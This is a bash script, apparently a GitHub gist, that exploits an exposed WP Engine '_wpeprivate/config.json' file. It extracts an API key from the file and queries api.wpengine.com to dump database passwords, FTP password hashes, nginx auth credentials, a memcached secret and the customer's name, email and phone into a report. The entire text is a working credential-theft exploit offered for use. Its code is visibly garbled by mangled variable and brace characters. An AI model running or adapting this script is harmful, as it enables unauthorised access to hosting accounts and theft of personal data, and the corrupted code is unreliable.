If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies.

May 5, 2019 · View on GitHub

#!/bin/bash

If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies.

If it "no worked" (Technical Term) then you probably need to install jq!

TARGET=$1 TARGETDOMAIN=(echo(echo TARGET | cut -d/ -f3)

Pretty Colors

RESET='\033[00m'
GREEN='\033[01;32m' BLUE='\033[01;34m'

echo -e BLUE"−−−−−−−−−−−−−−−−−−−−−−−−Downloadingw′peprivate/config.json′−−−−−−−−−−−−−−−−−−−−−−−−−"{BLUE}"------------------------ Downloading '_wpeprivate/config.json' -------------------------"{RESET} echo -e GREEN"curl−so{GREEN}"curl -so TARGETDOMAIN-config.json -k TARGET/wpeprivate/config.json"TARGET/_wpeprivate/config.json"{RESET} curl -so TARGETDOMAIN−config.json−kTARGETDOMAIN-config.json -k TARGET/_wpeprivate/config.json

WPEAPIKEY=(jq′.′(jq '.' TARGETDOMAIN-config.json | grep wpengine_apikey | awk '{print $2}' | cut -d, -f1 | sed 's/"//g') ACCOUNTNAME=(jq′.′(jq '.' TARGETDOMAIN-config.json | grep WPENGINE_ACCOUNT | awk '{print $2}' | cut -d, -f1 | sed 's/"//g' | sort -u)

echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−Make1stAPICalltoapi.wpengine.com−−−−−−−−−−−−−−−−−−−−−−−"{BLUE}"\n-------------------------- Make 1st API Call to api.wpengine.com -----------------------"{RESET} echo -e GREEN"curl−so{GREEN}"curl -so ACCOUNTNAME-site.json -k https://api.wpengine.com/1.2/?method=site&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET} curl -so ACCOUNTNAME-site.json -k "https://api.wpengine.com/1.2/?method=site&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"

echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−Make2ndAPICalltoapi.wpengine.com−−−−−−−−−−−−−−−−−−−−−−−"{BLUE}"\n-------------------------- Make 2nd API Call to api.wpengine.com -----------------------"{RESET} echo -e GREEN"curl−so{GREEN}"curl -so ACCOUNTNAME-customer.json -k https://api.wpengine.com/1.2/?method=customer-record&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET} curl -so ACCOUNTNAME-customer.json -k "https://api.wpengine.com/1.2/?method=customer-record&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"

echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−−−−Report−{BLUE}"\n----------------------------- Report - (echo TARGETDOMAIN)−TARGETDOMAIN) - (echo ACCOUNTNAME)−−−−−−−−−−−−−−−−−−−−−−−−−−−−−"ACCOUNTNAME) -----------------------------"{RESET} echo -e BLUE"ConfigurationInfo−"{BLUE}"Configuration Info - "{GREEN} >> ACCOUNTNAME−report.txtgrep−E′(site)′ACCOUNTNAME-report.txt grep -E '(site)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> ACCOUNTNAME−report.txtgrep−E′(servername)∣(wpversion)′ACCOUNTNAME-report.txt grep -E '(server_name)|(wp_version)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nDomains−"{BLUE}"\nDomains - "{GREEN} >> ACCOUNTNAME−report.txtjq−r′.alldomains′ACCOUNTNAME-report.txt jq -r '.all_domains' ACCOUNTNAME-site.json | sed ':a;N;!ba;s/\n//g′∣sed′s∣["[]∣∣g′∣sed′s///g′∣cut−d]−f1>>!ba;s/\n//g' | sed 's|[{}"[]||g' | sed 's/ //g' | cut -d] -f1 >> ACCOUNTNAME-report.txt echo -e BLUE"\nDatabaseInfos−"{BLUE}"\nDatabase Infos - "{GREEN} >> ACCOUNTNAME−report.txtecho"dbpassword:"ACCOUNTNAME-report.txt echo "db_password:"(jq -r '.db_password' ACCOUNTNAME−site.json)>>ACCOUNTNAME-site.json) >> ACCOUNTNAME-report.txt echo -e "db_password_encryption" >> ACCOUNTNAME−report.txtjq−r′.dbpasswordencryption′ACCOUNTNAME-report.txt jq -r '.db_password_encryption' ACCOUNTNAME-site.json | sed -e ′s/,/\n/g′∣sed′s∣[",]∣∣g′>>'s/,/\\\n/g' | sed 's|[{}",]||g' >> ACCOUNTNAME-report.txt

echo -e BLUE"\nFTPUsersandPasswordHashes−"{BLUE}"\nFTP Users and Password Hashes - "{GREEN} >> ACCOUNTNAME−report.txtjq′.ftpusers∣toentries[]′ACCOUNTNAME-report.txt jq '.ftp_users | to_entries[]' ACCOUNTNAME-site.json | sed 's|[{},]||g' | awk '{print $1 $2}' | sed 's/"//g' | grep -vE '(value:)|(^)' | sed 's/path:/&\n/g' >> ACCOUNTNAME-report.txt

echo -e BLUE"NginxAuth−"{BLUE}"Nginx Auth - "{GREEN} >> ACCOUNTNAME−report.txtjq−r′.nginxbasicauthstaging′ACCOUNTNAME-report.txt jq -r '.nginx_basic_auth_staging' ACCOUNTNAME-site.json | grep -E '(user)|(password)' | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nMiscellaneous−"{BLUE}"\nMiscellaneous - "{GREEN} >> ACCOUNTNAME−report.txtgrep−E′(gopherenabled)∣(memcachedsecret)′ACCOUNTNAME-report.txt grep -E '(gopher_enabled)|(memcached_secret)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g'|sed 's/,//' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nUserInfo−"{BLUE}"\nUser Info - "{GREEN} >> ACCOUNTNAME−report.txtecho"domain:"ACCOUNTNAME-report.txt echo "domain:"(jq -r '.domain' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "account_id:"(jq−r′.accountid′(jq -r '.account_id' ACCOUNTNAME-customer.json) >> ACCOUNTNAME−report.txtecho"accounttype:"ACCOUNTNAME-report.txt echo "account_type:"(jq -r '.account_type' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "full_name:"(jq−r′.fullname′(jq -r '.full_name' ACCOUNTNAME-customer.json) >> ACCOUNTNAME−report.txtecho"email:"ACCOUNTNAME-report.txt echo "email:"(jq -r '.email' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "phone:"(jq−r′.phone′(jq -r '.phone' ACCOUNTNAME-customer.json) >> $ACCOUNTNAME-report.txt

echo -e GREENcat{GREEN} cat ACCOUNTNAME-report.txt echo -e BLUE"−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−"{BLUE}"----------------------------------------------------------------------------------------"{RESET}